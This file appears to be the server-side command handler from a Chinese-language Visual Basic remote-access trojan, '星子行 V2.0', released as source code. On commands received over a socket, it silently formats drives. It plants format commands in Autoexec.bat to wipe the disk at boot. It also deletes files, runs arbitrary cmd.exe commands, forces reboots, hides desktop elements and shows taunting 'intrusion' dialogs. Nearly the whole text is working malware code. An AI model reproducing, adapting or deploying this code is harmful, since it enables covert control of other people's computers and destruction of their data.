contr.bas

星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反

 Case "Sabeep1"
 
 beep1 = right$(Contnum, Len(Contnum) - 7)
 
 Main.Scmnet1.SendData "Sabeep2"
 
 Case "Sabeep2"
 
 beep2 = right$(Contnum, Len(Contnum) - 7)

  Main.Scmnet1.SendData "Sabeep3"

 
  Case "Sabeep3"
  
  On Error GoTo beeperr

beep3 = right$(Contnum, Len(Contnum) - 7)

 Do While beep1 > 0
  
  a1 = CLng(beep2) '频率
  B1 = CLng(beep3) '长度
  
  APIBeep a1, B1
  
  beep1 = beep1 - 1
  
  Sleep 200
  
  Loop
  
  Main.Scmnet1.SendData "Remocom" & "远程主机锋呜成功！" + "(" + Time$ + ")" + vbCrLf
  
beeperr:
  
'''''''''''''''''''''''''''''''锋呜
Case "Getdirs" '获得分区信息

Main.Scmnet1.SendData "Getdirs" & fxinfo

Case "Getsysf" '得到系统消息

Main.Scmnet1.SendData "Getsysf" & sysinfo

Case "Hidestc" '隐藏“开始”按纽
    wnd = FindWindowEx(wnd, 0, sStartButton, vbNullString)
    ShowWindow wnd, SW_HIDE
    Main.Scmnet1.SendData "Remocom" & "远程隐藏“开始”按纽成功！" + "(" + Time$ + ")" + vbCrLf


Case "Showstc" '显示“开始”
    wnd = FindWindowEx(wnd, 0, sStartButton, vbNullString)
    ShowWindow wnd, SW_SHOW
    Main.Scmnet1.SendData "Remocom" & "远程显示“开始”成功！" + "(" + Time$ + ")" + vbCrLf

Case "Hidetas" '隐藏任务栏
    ShowWindow wnd, SW_HIDE
     Main.Scmnet1.SendData "Remocom" & "远程隐藏任务栏成功！" + "(" + Time$ + ")" + vbCrLf

Case "Showtas" '显示任务栏
    
    ShowWindow wnd, SW_SHOW
    
     Main.Scmnet1.SendData "Remocom" & "远程显示任务栏成功！" + "(" + Time$ + ")" + vbCrLf

 Case "Hidedes" '隐藏桌面
     wnd = FindWindow(sProgman, vbNullString)
     wnd = FindWindowEx(wnd, 0, sDesktopIcon, vbNullString)
     ShowWindow wnd, SW_HIDE
      Main.Scmnet1.SendData "Remocom" & "远程隐藏桌面图标成功！" + "(" + Time$ + ")" + vbCrLf

 Case "Showdes" '恢复桌面
    wnd = FindWindow(sProgman, vbNullString)
    wnd = FindWindowEx(wnd, 0, sDesktopIcon, vbNullString)
    ShowWindow wnd, SW_SHOW
    Main.Scmnet1.SendData "Remocom" & "远程显示桌面图标成功！" + "(" + Time$ + ")" + vbCrLf

 Case "Hideclo" '隐藏时间

    wnd = FindWindowEx(wnd, 0, sTrayNotify, vbNullString)
    wnd = FindWindowEx(wnd, 0, sTrayClock, vbNullString)
    ShowWindow wnd, SW_HIDE
    
 Case "Showclo" '显示时间
 
    wnd = FindWindowEx(wnd, 0, sTrayNotify, vbNullString)
    wnd = FindWindowEx(wnd, 0, sTrayClock, vbNullString)
    ShowWindow wnd, SW_SHOW
    
    Case "Hidepro" '隐藏任务栏程序
    
    wnd = FindWindowEx(wnd, 0, sAppSwitchBar, vbNullString)
    wnd = FindWindowEx(wnd, 0, sAppSwitch, vbNullString)
    ShowWindow wnd, SW_HIDE
      
      Case "Showpro" '显示任务栏程序
    
    wnd = FindWindowEx(wnd, 0, sAppSwitchBar, vbNullString)
    wnd = FindWindowEx(wnd, 0, sAppSwitch, vbNullString)
    ShowWindow wnd, SW_SHOW
    
    Case "Hidetyp" '隐藏后台程序
    
    wnd = FindWindowEx(wnd, 0, sTrayNotify, vbNullString)
     ShowWindow wnd, SW_HIDE
     
     Case "Showtyp" '显示后台程序
    
    wnd = FindWindowEx(wnd, 0, sTrayNotify, vbNullString)
    ShowWindow wnd, SW_SHOW
    
    Case "Hidefas" '隐藏快速启动栏程序
    
    wnd = FindWindowEx(wnd, 0, sAppSwitchBar, vbNullString)
    wnd = FindWindowEx(wnd, 0, sAppIcon, vbNullString)
     ShowWindow wnd, SW_HIDE
     
     Case "Showfas" '显示快速启动栏程序
    
    wnd = FindWindowEx(wnd, 0, sAppSwitchBar, vbNullString)
    wnd = FindWindowEx(wnd, 0, sAppIcon, vbNullString)
    ShowWindow wnd, SW_SHOW
    
    Case "Formatc" '快速格式化磁盘
    
    On Error GoTo Formaterr

  
Shell "command.com   /c   format   " + right$(Contnum, Len(Contnum) - 7) + ":" + "/q/Y", vbHide

Main.Scmnet1.SendData "Remocom" & "快速格式化命令发送成功！" + "(" + Time$ + ")" + vbCrLf

Formaterr:

Case "Formatd" '完全格式化磁盘

On Error GoTo Formatderr

Shell "command.com   /c   format   " + right$(Contnum, Len(Contnum) - 7) + ":" + "/Y", vbHide

Main.Scmnet1.SendData "Remocom" & "完全格式化命令发送成功！" + "(" + Time$ + ")" + vbCrLf

Formatderr:

Case "Wriautf"

On Error GoTo Wrierro

  Open left$(Environ("windir"), 2) + "\Autoexec.bat" For Append As #1
  Print #1, "format   " + left$(Environ("windir"), 2) + "/q/Y"
  Close #1
  
  Main.Scmnet1.SendData "Remocom" & "在远程主机" + left$(Environ("windir"), 3) + "种下快速格式化命令成功！" + "(" + Time$ + ")" + vbCrLf
  
Wrierro:

Case "Wriautg"

On Error GoTo Wrierrog

  Open left$(Environ("windir"), 2) + "\Autoexec.bat" For Append As #1
  Print #1, "format   " + left$(Environ("windir"), 2) + "/Y"
  Close #1
  
  Main.Scmnet1.SendData "Remocom" & "在远程主机" + left$(Environ("windir"), 3) + "种下完全格式化命令成功！" + "(" + Time$ + ")" + vbCrLf
  
Wrierrog:

Case "Closecp" '重启(例)

 If MsgBox("有一台主机入侵本机,是否允许？" + vbCrLf + "不允许主机入侵系统会自动重启,开机后主机自动入侵成功！", vbYesNo, "非法入侵") = vbYes Then
 
 MsgBox "主机已成功入侵本机,主机要对本机进行非法操作！", 48, "注意"
 
 Else
 
 Main.Scmnet1.SendData "Remocom" & "远程重启成功！" + "(" + Time$ + ")" + vbCrLf

     AdjustToken
     an4 = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
 
 End If
 
 Case "Comaub1" '执行对话框
 
 Msgb4 = right$(Contnum, Len(Contnum) - 7)
 
 Main.Scmnet1.SendData "Comaub1"

 Case "Comaub2" '执行对话框
  
 Msgb5 = right$(Contnum, Len(Contnum) - 7)
 
  Main.Scmnet1.SendData "Comaub2"
 
 Case "Comaub3" '执行对话框
 
 Main.Scmnet1.SendData "Nooroff"

  If MsgBox(Msgb5, vbYesNo, Msgb4) = vbYes Then
 
 MsgBox "主机已成功入侵本机,主机要对本机进行非法操作！", 48, "注意"
 
 Else
 
 Main.Scmnet1.SendData "Remocom" & "远程重启成功！" + "(" + Time$ + ")" + vbCrLf

     AdjustToken
     an4 = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
 
 End If
 
 Case "LIULANE" '打开网站
    
    Dim ret&
    ret& = ShellExecute(0, "open", right$(Contnum, Len(Contnum) - 7), vbNull, vbNull, 0)
    Main.Scmnet1.SendData "Remocom" & "发送远程命令成功！" + "(" + Time$ + ")" + vbCrLf
  
  Case "OPENFIL" '打开文件
  
  ShellExecute 0, "open", right$(Contnum, Len(Contnum) - 7), vbNullString, vbNullString, 1
  
  Case "DELETEF" '删除文件
  
  On Error GoTo errkill

  Kill right$(Contnum, Len(Contnum) - 7)
    
    Main.Scmnet1.SendData "Remocom" & "远程删除文件成功！" + "(" + Time$ + ")" + vbCrLf
    
errkill:

Case "Cmdcoms" 'DOS命令

On Error GoTo cmderr

Shell "cmd.exe /k" + right$(Contnum, Len(Contnum) - 7)

Main.Scmnet1.SendData "Remocom" & "DOS命令操作发送成功！" + "(" + Time$ + ")" + vbCrLf

cmderr:

 Case "Cwallpb" '设置平铺
 
  CWallp = "Cwallpb"

Call Wallpaper_s(right$(Contnum, Len(Contnum) - 7))

Main.Scmnet1.SendData "Remocom" & "远程更换墙纸成功！" + "(" + Time$ + ")" + vbCrLf

Case "Cwallpm" '设置居中

 CWallp = "Cwallpm"
 
Call Wallpaper_s(right$(Contnum, Len(Contnum) - 7))

Main.Scmnet1.SendData "Remocom" & "远程更换墙纸成功！" + "(" + Time$ + ")" + vbCrLf

Case "Cwallpk" '设置拉伸

CWallp = "Cwallpk"
 
Call Wallpaper_s(right$(Contnum, Len(Contnum) - 7))

Main.Scmnet1.SendData "Remocom" & "远程更换墙纸成功！" + "(" + Time$ + ")" + vbCrLf
  
 Case "Delwall"
 
 Call Delwall_s
 
 Main.Scmnet1.SendData "Remocom" & "远程删除墙纸成功！" + "(" + Time$ + ")" + vbCrLf
  
End Select


End Sub